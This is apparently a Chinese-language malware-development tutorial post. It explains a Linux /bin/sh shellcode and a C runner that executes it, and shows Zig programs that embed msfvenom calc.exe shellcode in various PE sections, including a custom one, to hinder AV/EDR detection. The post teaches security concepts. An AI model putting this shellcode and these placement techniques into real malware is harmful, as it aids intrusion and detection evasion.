歡迎回來,蜥蜴兵們,我是 CX330。昨天已經結束了我們的新手訓練營,也把語法都講過了大概,那今天就要來開始進入惡意程式的內容囉!
今天要來介紹什麼是 Shellcode、什麼是 Sections、我們的 Shellcode 可以放在哪個 Section 等等的。那就廢話不多說,讓我們開始吧!
中華民國刑法第 362 條:「製作專供犯本章之罪之電腦程式,而供自己或他人犯本章之罪,致生損害於公眾或他人者,處五年以下有期徒刑、拘役或科或併科六十萬元以下罰金。」
本系列文章涉及多種惡意程式的技術,旨在提升個人技術能力與資安意識。本人在此強烈呼籲讀者,切勿使用所學到的知識與技術從事任何違法行為!
本系列文章中使用的 Zig 版本號為 0.14.1。
shellcode 是一段用於利用軟體漏洞而執行的代碼,shellcode 為 16 進位之機械碼,以其經常讓攻擊者獲得 shell 而得名。
《維基百科》
簡單來說,他就是一段程式碼,只不過是用 16 進位直接編寫的原始位元組(Raw bytes)。舉例來說,以下這段就是一段從 ExploitDB 找到的 23 個 Bytes 的 Shellcode,用來在 Linux 機器上獲取 /bin/sh
。
\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05
這段 Shellcode 是從以下的 Assembly code 組譯來的。
global _start
section .text
_start:
xor rsi,rsi
push rsi
mov rdi,0x68732f2f6e69622f
push rdi
push rsp
pop rdi
push 59
pop rax
cdq
syscall
這邊來講解一下這段 Shellcode。我們先來看一下 execve
的 Calling convention,我們可以在 x64.syscall.sh 查看。可以看到 rdi
為 Filename,rsi
為 ARG1。
在 Assembly 中,首先先用 xor
把 rsi
清零,接著把它推進 Stack。然後把 0x68732f2f6e69622f
放進 rdi
,這坨數字就是 /bin//sh
的小端序的十六進位表示。
接著繼續把 rdi
推上 Stack,然後把當前的 Stack pointer rsp
推進 Stack 並把剛才的 pointer 彈出來放進 rdi
,所以最後 rdi
會變為 "/bin//sh"
的指針,也就是 execve
的第一個參數 filename
。
繼續往下,把 59 推進 Stack 並彈出來給 rax
,這是 execve
的系統呼叫號碼(Syscall number)。最後使用 cdq
把 eax
的符號位擴展到 edx
,若 eax
為正,則 edx
會變成 0;反之,則 edx
會變為 0xFFFFFFFF
。如此一來,因為當前的 rax
為 59,eax
為正,故 cdq
會將 edx
設為 0,同時因為在 x86_64 的架構下,寫入 32-bit 寄存器會把對應的 64-bit 高位清零,故可以把 rdx
設為 0,表示沒有傳入環境變數給 execve
。最後的最後才使用 syscall
去執行系統呼叫。
如果對以上的 Shellcode 還有不理解,或是想要學習 Shellcoding 的技術,推薦可以看這份 Shellcoding in Linux 來入門。
那講了這麼多,要如何把那坨 Shellcode 拿去執行呢?我們可以先參考一下以下的 C 程式碼。
#include <stdio.h>
unsigned char shellcode[] = \
"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05";
int main()
{
int (*ret)() = (int(*)())shellcode;
ret();
}
這坨程式碼就是把那段 Shellcode 顯示轉成一個函數指標,這個指標指向一個不接受參數且回傳 int
的函數,然後用 ret()
跳到那個函數執行,就會執行我們的 Shellcode 了。所以如果我們編譯這段程式碼並執行,就會獲得一個 Shell 可以執行命令。
那以上就是一個最基本的 Shellcode 範例。在這系列文章中,我們會使用很多 Shellcode,但大部分都會使用 MSFvenom 所產生的 Shellcode 來作為概念驗證。這個工具是預安裝在 Kali 上的,比如要生成一個 Windows 系統上跳出小算盤的 Shellcode,我們可以下這樣的命令:
msfvenom -p windows/x64/exec CMD=calc.exe -f c
我們在之後會使用到很多這樣的 Shellcode,所以可以先把 MSFvenom 安裝好,如果還沒有安裝的話。
大家知道,Linux 上的可執行文件的格式為 ELF,而 Windows 上的則是 PE 格式。PE 文件格式是一種專屬於 Windows 作業系統的資料結構,會告訴 Windows 的載入器需要哪些資訊來打開這個文件。
至於完整的 PE 文件結構我們在之後的幾天內會有一篇文章專門來討論它,現在,讓我們先只聚焦在「Sections」上面。
Section 是 PE 文件中很重要的部分,是程式碼、資料、資源等等實際存在的位置,且每個不同的 Section 都會有它各自的功能。這邊我會講一些最主要且幾乎會存在於每個 PE 文件中的 Sections。
.text
.data
.rdata
.rsrc
.bss
.tls
我們先知道這樣就好,更詳細的 Section 介紹和完整的 PE 結構說明會在之後的幾天內另外發一篇文章來解釋。如果想了解更多關於 Section 的東西,可以期待一下幾天後的文章,或是看看官方文檔。
以下的程式碼中,我們的 Shellcode 均是由 MSFvenom 所產生的。以下的這行命令會產生我們範例中所使用的 Payload,但由於他產生的是 C 語言的格式,我已經交由 AI 轉換為 Zig 的格式了,如果跟著做的話可以直接複製我的 Payload 來使用。
msfvenom -p windows/x64/exec CMD=calc.exe -f c
要將 Payload 儲存在 .data
很簡單,我們看一下以下的程式碼範例:
const std = @import("std");
const print = std.debug.print;
// msfvenom calc shellcode
// msfvenom -p windows/x64/exec CMD=calc.exe -f c
// .data saved payload (var data goes to .data section in Zig)
var data_section_payload = [_]u8{
0xFC, 0x48, 0x83, 0xE4, 0xF0, 0xE8, 0xC0, 0x00, 0x00, 0x00, 0x41, 0x51,
0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xD2, 0x65, 0x48, 0x8B, 0x52,
0x60, 0x48, 0x8B, 0x52, 0x18, 0x48, 0x8B, 0x52, 0x20, 0x48, 0x8B, 0x72,
0x50, 0x48, 0x0F, 0xB7, 0x4A, 0x4A, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
0xAC, 0x3C, 0x61, 0x7C, 0x02, 0x2C, 0x20, 0x41, 0xC1, 0xC9, 0x0D, 0x41,
0x01, 0xC1, 0xE2, 0xED, 0x52, 0x41, 0x51, 0x48, 0x8B, 0x52, 0x20, 0x8B,
0x42, 0x3C, 0x48, 0x01, 0xD0, 0x8B, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48,
0x85, 0xC0, 0x74, 0x67, 0x48, 0x01, 0xD0, 0x50, 0x8B, 0x48, 0x18, 0x44,
0x8B, 0x40, 0x20, 0x49, 0x01, 0xD0, 0xE3, 0x56, 0x48, 0xFF, 0xC9, 0x41,
0x8B, 0x34, 0x88, 0x48, 0x01, 0xD6, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
0xAC, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0x38, 0xE0, 0x75, 0xF1,
0x4C, 0x03, 0x4C, 0x24, 0x08, 0x45, 0x39, 0xD1, 0x75, 0xD8, 0x58, 0x44,
0x8B, 0x40, 0x24, 0x49, 0x01, 0xD0, 0x66, 0x41, 0x8B, 0x0C, 0x48, 0x44,
0x8B, 0x40, 0x1C, 0x49, 0x01, 0xD0, 0x41, 0x8B, 0x04, 0x88, 0x48, 0x01,
0xD0, 0x41, 0x58, 0x41, 0x58, 0x5E, 0x59, 0x5A, 0x41, 0x58, 0x41, 0x59,
0x41, 0x5A, 0x48, 0x83, 0xEC, 0x20, 0x41, 0x52, 0xFF, 0xE0, 0x58, 0x41,
0x59, 0x5A, 0x48, 0x8B, 0x12, 0xE9, 0x57, 0xFF, 0xFF, 0xFF, 0x5D, 0x48,
0xBA, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x8D,
0x01, 0x01, 0x00, 0x00, 0x41, 0xBA, 0x31, 0x8B, 0x6F, 0x87, 0xFF, 0xD5,
0xBB, 0xE0, 0x1D, 0x2A, 0x0A, 0x41, 0xBA, 0xA6, 0x95, 0xBD, 0x9D, 0xFF,
0xD5, 0x48, 0x83, 0xC4, 0x28, 0x3C, 0x06, 0x7C, 0x0A, 0x80, 0xFB, 0xE0,
0x75, 0x05, 0xBB, 0x47, 0x13, 0x72, 0x6F, 0x6A, 0x00, 0x59, 0x41, 0x89,
0xDA, 0xFF, 0xD5, 0x63, 0x61, 0x6C, 0x63, 0x00,
};
/// Helper function to wait for Enter key
/// Similar usage as `getchar()` in C
fn waitForEnter() void {
var buffer: [256]u8 = undefined;
_ = std.io.getStdIn().reader().readUntilDelimiterOrEof(buffer[0..], '\n') catch {};
}
pub fn main() !void {
print("[i] Payload address: 0x{X} \n", .{@intFromPtr(&data_section_payload)});
print("[i] Data size: {d} bytes\n", .{data_section_payload.len});
print("[i] Payload stored in .data section (read-write)\n", .{});
print("[#] Press <Enter> To Quit ...", .{});
waitForEnter();
}
如上,我們只需要宣告一個全域變數,並把 Payload 放進去,就完成了。不過雖然很簡單,但是對於惡意軟體分析師或是逆向工程師來說,也十分容易發現,同時,也很容易讓 AV/EDR 偵測到。
為了確保我們真的把 Payload 放進了 .data
區段,我們可以使用 x64dbg 來查看,可以發現他果真存在於 .data
之中。
而將 Payload 放在 .rdata
和剛剛的超級相似,還記得我們說 .rdata
是存放只讀的資料的地方嗎?那我們只需要把上面的程式碼的全域變數加上一個 const
關鍵字就可以了。
const std = @import("std");
const print = std.debug.print;
// msfvenom calc shellcode
// msfvenom -p windows/x64/exec CMD=calc.exe -f c
// .rdata saved payload
//
// use `const` to put it in .rdata (read-only data)
const rdata_section_payload = [_]u8{
0xFC, 0x48, 0x83, 0xE4, 0xF0, 0xE8, 0xC0, 0x00, 0x00, 0x00, 0x41, 0x51,
0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xD2, 0x65, 0x48, 0x8B, 0x52,
0x60, 0x48, 0x8B, 0x52, 0x18, 0x48, 0x8B, 0x52, 0x20, 0x48, 0x8B, 0x72,
0x50, 0x48, 0x0F, 0xB7, 0x4A, 0x4A, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
0xAC, 0x3C, 0x61, 0x7C, 0x02, 0x2C, 0x20, 0x41, 0xC1, 0xC9, 0x0D, 0x41,
0x01, 0xC1, 0xE2, 0xED, 0x52, 0x41, 0x51, 0x48, 0x8B, 0x52, 0x20, 0x8B,
0x42, 0x3C, 0x48, 0x01, 0xD0, 0x8B, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48,
0x85, 0xC0, 0x74, 0x67, 0x48, 0x01, 0xD0, 0x50, 0x8B, 0x48, 0x18, 0x44,
0x8B, 0x40, 0x20, 0x49, 0x01, 0xD0, 0xE3, 0x56, 0x48, 0xFF, 0xC9, 0x41,
0x8B, 0x34, 0x88, 0x48, 0x01, 0xD6, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
0xAC, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0x38, 0xE0, 0x75, 0xF1,
0x4C, 0x03, 0x4C, 0x24, 0x08, 0x45, 0x39, 0xD1, 0x75, 0xD8, 0x58, 0x44,
0x8B, 0x40, 0x24, 0x49, 0x01, 0xD0, 0x66, 0x41, 0x8B, 0x0C, 0x48, 0x44,
0x8B, 0x40, 0x1C, 0x49, 0x01, 0xD0, 0x41, 0x8B, 0x04, 0x88, 0x48, 0x01,
0xD0, 0x41, 0x58, 0x41, 0x58, 0x5E, 0x59, 0x5A, 0x41, 0x58, 0x41, 0x59,
0x41, 0x5A, 0x48, 0x83, 0xEC, 0x20, 0x41, 0x52, 0xFF, 0xE0, 0x58, 0x41,
0x59, 0x5A, 0x48, 0x8B, 0x12, 0xE9, 0x57, 0xFF, 0xFF, 0xFF, 0x5D, 0x48,
0xBA, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x8D,
0x01, 0x01, 0x00, 0x00, 0x41, 0xBA, 0x31, 0x8B, 0x6F, 0x87, 0xFF, 0xD5,
0xBB, 0xE0, 0x1D, 0x2A, 0x0A, 0x41, 0xBA, 0xA6, 0x95, 0xBD, 0x9D, 0xFF,
0xD5, 0x48, 0x83, 0xC4, 0x28, 0x3C, 0x06, 0x7C, 0x0A, 0x80, 0xFB, 0xE0,
0x75, 0x05, 0xBB, 0x47, 0x13, 0x72, 0x6F, 0x6A, 0x00, 0x59, 0x41, 0x89,
0xDA, 0xFF, 0xD5, 0x63, 0x61, 0x6C, 0x63, 0x00,
};
// Helper function to wait for Enter key
fn waitForEnter() void {
var buffer: [256]u8 = undefined;
_ = std.io.getStdIn().reader().readUntilDelimiterOrEof(buffer[0..], '\n') catch {};
}
pub fn main() !void {
print("[i] Payload address: 0x{X} \n", .{@intFromPtr(&rdata_section_payload)});
print("[i] Data size: {d} bytes\n", .{rdata_section_payload.len});
print("[#] Press <Enter> To Quit ...", .{});
waitForEnter();
}
為了確保我們真的把 Payload 放進了 .rdata
區段,我們可以使用 x64dbg 來查看,可以發現他果真存在於 .rdata
之中。
要將 Payload 放在 .text
,我們會用到一個 Zig 的關鍵字:linksection
。這個關鍵字可以明確指定 Linker 的 Section 並將其資料放置到該 Section,範例程式碼如下:
const std = @import("std");
const print = std.debug.print;
// msfvenom calc shellcode
// msfvenom -p windows/x64/exec CMD=calc.exe -f c
// .text saved payload - most elegant approach with automatic inference
const text_section_payload linksection(".text") = [_]u8{
0xFC, 0x48, 0x83, 0xE4, 0xF0, 0xE8, 0xC0, 0x00, 0x00, 0x00, 0x41, 0x51,
0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xD2, 0x65, 0x48, 0x8B, 0x52,
0x60, 0x48, 0x8B, 0x52, 0x18, 0x48, 0x8B, 0x52, 0x20, 0x48, 0x8B, 0x72,
0x50, 0x48, 0x0F, 0xB7, 0x4A, 0x4A, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
0xAC, 0x3C, 0x61, 0x7C, 0x02, 0x2C, 0x20, 0x41, 0xC1, 0xC9, 0x0D, 0x41,
0x01, 0xC1, 0xE2, 0xED, 0x52, 0x41, 0x51, 0x48, 0x8B, 0x52, 0x20, 0x8B,
0x42, 0x3C, 0x48, 0x01, 0xD0, 0x8B, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48,
0x85, 0xC0, 0x74, 0x67, 0x48, 0x01, 0xD0, 0x50, 0x8B, 0x48, 0x18, 0x44,
0x8B, 0x40, 0x20, 0x49, 0x01, 0xD0, 0xE3, 0x56, 0x48, 0xFF, 0xC9, 0x41,
0x8B, 0x34, 0x88, 0x48, 0x01, 0xD6, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
0xAC, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0x38, 0xE0, 0x75, 0xF1,
0x4C, 0x03, 0x4C, 0x24, 0x08, 0x45, 0x39, 0xD1, 0x75, 0xD8, 0x58, 0x44,
0x8B, 0x40, 0x24, 0x49, 0x01, 0xD0, 0x66, 0x41, 0x8B, 0x0C, 0x48, 0x44,
0x8B, 0x40, 0x1C, 0x49, 0x01, 0xD0, 0x41, 0x8B, 0x04, 0x88, 0x48, 0x01,
0xD0, 0x41, 0x58, 0x41, 0x58, 0x5E, 0x59, 0x5A, 0x41, 0x58, 0x41, 0x59,
0x41, 0x5A, 0x48, 0x83, 0xEC, 0x20, 0x41, 0x52, 0xFF, 0xE0, 0x58, 0x41,
0x59, 0x5A, 0x48, 0x8B, 0x12, 0xE9, 0x57, 0xFF, 0xFF, 0xFF, 0x5D, 0x48,
0xBA, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x8D,
0x01, 0x01, 0x00, 0x00, 0x41, 0xBA, 0x31, 0x8B, 0x6F, 0x87, 0xFF, 0xD5,
0xBB, 0xE0, 0x1D, 0x2A, 0x0A, 0x41, 0xBA, 0xA6, 0x95, 0xBD, 0x9D, 0xFF,
0xD5, 0x48, 0x83, 0xC4, 0x28, 0x3C, 0x06, 0x7C, 0x0A, 0x80, 0xFB, 0xE0,
0x75, 0x05, 0xBB, 0x47, 0x13, 0x72, 0x6F, 0x6A, 0x00, 0x59, 0x41, 0x89,
0xDA, 0xFF, 0xD5, 0x63, 0x61, 0x6C, 0x63, 0x00,
};
/// Helper function to wait for Enter key
/// Similar usage as `getchar()` in C
fn waitForEnter() void {
var buffer: [256]u8 = undefined;
_ = std.io.getStdIn().reader().readUntilDelimiterOrEof(buffer[0..], '\n') catch {};
}
pub fn main() !void {
print("[i] Payload address: 0x{X} \n", .{@intFromPtr(&text_section_payload)});
print("[i] Data size: {d} bytes\n", .{text_section_payload.len});
print("[i] Payload stored in .text section (executable)\n", .{});
print("[#] Press <Enter> To Quit ...", .{});
waitForEnter();
}
由於 .text
的資料是具有可執行權限的,所以他們在後續不需要再去編輯記憶體的某個區域的權限就能執行。並且它可以將自身和其他的程式碼混淆在一起,這對於長度較小(如 10 個位元組內)的 Payload 來說會很有用。
為了驗證我們真的把 Payload 放進了 .text
區段,我們可以使用 x64dbg 來查看,可以發現他果真存在於 .text
之中。
使用與 .text
相同的方法,我們可以客製化任何 Section 並將我們的 Payload 放置在那裡。
const std = @import("std");
const print = std.debug.print;
// msfvenom calc shellcode
// msfvenom -p windows/x64/exec CMD=calc.exe -f c
// .text saved payload - most elegant approach with automatic inference
const text_section_payload linksection(".cx330") = [_]u8{
0xFC, 0x48, 0x83, 0xE4, 0xF0, 0xE8, 0xC0, 0x00, 0x00, 0x00, 0x41, 0x51,
0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xD2, 0x65, 0x48, 0x8B, 0x52,
0x60, 0x48, 0x8B, 0x52, 0x18, 0x48, 0x8B, 0x52, 0x20, 0x48, 0x8B, 0x72,
0x50, 0x48, 0x0F, 0xB7, 0x4A, 0x4A, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
0xAC, 0x3C, 0x61, 0x7C, 0x02, 0x2C, 0x20, 0x41, 0xC1, 0xC9, 0x0D, 0x41,
0x01, 0xC1, 0xE2, 0xED, 0x52, 0x41, 0x51, 0x48, 0x8B, 0x52, 0x20, 0x8B,
0x42, 0x3C, 0x48, 0x01, 0xD0, 0x8B, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48,
0x85, 0xC0, 0x74, 0x67, 0x48, 0x01, 0xD0, 0x50, 0x8B, 0x48, 0x18, 0x44,
0x8B, 0x40, 0x20, 0x49, 0x01, 0xD0, 0xE3, 0x56, 0x48, 0xFF, 0xC9, 0x41,
0x8B, 0x34, 0x88, 0x48, 0x01, 0xD6, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
0xAC, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0x38, 0xE0, 0x75, 0xF1,
0x4C, 0x03, 0x4C, 0x24, 0x08, 0x45, 0x39, 0xD1, 0x75, 0xD8, 0x58, 0x44,
0x8B, 0x40, 0x24, 0x49, 0x01, 0xD0, 0x66, 0x41, 0x8B, 0x0C, 0x48, 0x44,
0x8B, 0x40, 0x1C, 0x49, 0x01, 0xD0, 0x41, 0x8B, 0x04, 0x88, 0x48, 0x01,
0xD0, 0x41, 0x58, 0x41, 0x58, 0x5E, 0x59, 0x5A, 0x41, 0x58, 0x41, 0x59,
0x41, 0x5A, 0x48, 0x83, 0xEC, 0x20, 0x41, 0x52, 0xFF, 0xE0, 0x58, 0x41,
0x59, 0x5A, 0x48, 0x8B, 0x12, 0xE9, 0x57, 0xFF, 0xFF, 0xFF, 0x5D, 0x48,
0xBA, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x8D,
0x01, 0x01, 0x00, 0x00, 0x41, 0xBA, 0x31, 0x8B, 0x6F, 0x87, 0xFF, 0xD5,
0xBB, 0xE0, 0x1D, 0x2A, 0x0A, 0x41, 0xBA, 0xA6, 0x95, 0xBD, 0x9D, 0xFF,
0xD5, 0x48, 0x83, 0xC4, 0x28, 0x3C, 0x06, 0x7C, 0x0A, 0x80, 0xFB, 0xE0,
0x75, 0x05, 0xBB, 0x47, 0x13, 0x72, 0x6F, 0x6A, 0x00, 0x59, 0x41, 0x89,
0xDA, 0xFF, 0xD5, 0x63, 0x61, 0x6C, 0x63, 0x00,
};
/// Helper function to wait for Enter key
/// Similar usage as `getchar()` in C
fn waitForEnter() void {
var buffer: [256]u8 = undefined;
_ = std.io.getStdIn().reader().readUntilDelimiterOrEof(buffer[0..], '\n') catch {};
}
pub fn main() !void {
print("[i] Payload address: 0x{X} \n", .{@intFromPtr(&text_section_payload)});
print("[i] Data size: {d} bytes\n", .{text_section_payload.len});
print("[i] Payload stored in .text section (executable)\n", .{});
print("[#] Press <Enter> To Quit ...", .{});
waitForEnter();
}
在這段程式碼中,我自訂了一個叫做 .cx330
的 Section,並將 Shellcode 放過去。這樣做可能可以繞過一些不會偵測到這種非典型的 Section 的 AV/EDR,但也有可能成為被標紅的指標之一。
為了驗證我們真的把 Payload 放進了 .cx330
區段,我們可以使用 x64dbg 來查看,可以發現他果真存在於 .cx330
之中。
把 Shellcode 放在不同的地方都會有各自的優點和缺點,看情況並靈活使用才是最佳的選擇。
好啦終於寫完了累死我了,我要去找朋友吃宵夜了!今天聊了 Shellcode、聊了 Sections、也示範了如何用 Zig 將 Shellcode 放到不同的位置去,那明天的話應該會來帶大家看一下 Windows 的架構和記憶體管理等等的東西,那今天就先這樣囉!
如果對惡意程式開發或是惡意程式分析有興趣的話,這個系列會很適合你!最後也感謝大家的閱讀,歡迎順手按讚留言訂閱轉發(轉發可以讓朋友們知道你都在讀這種很技術的文章,他們會覺得你好帥好強好電,然後開始裝弱互相吹捧)~明天見!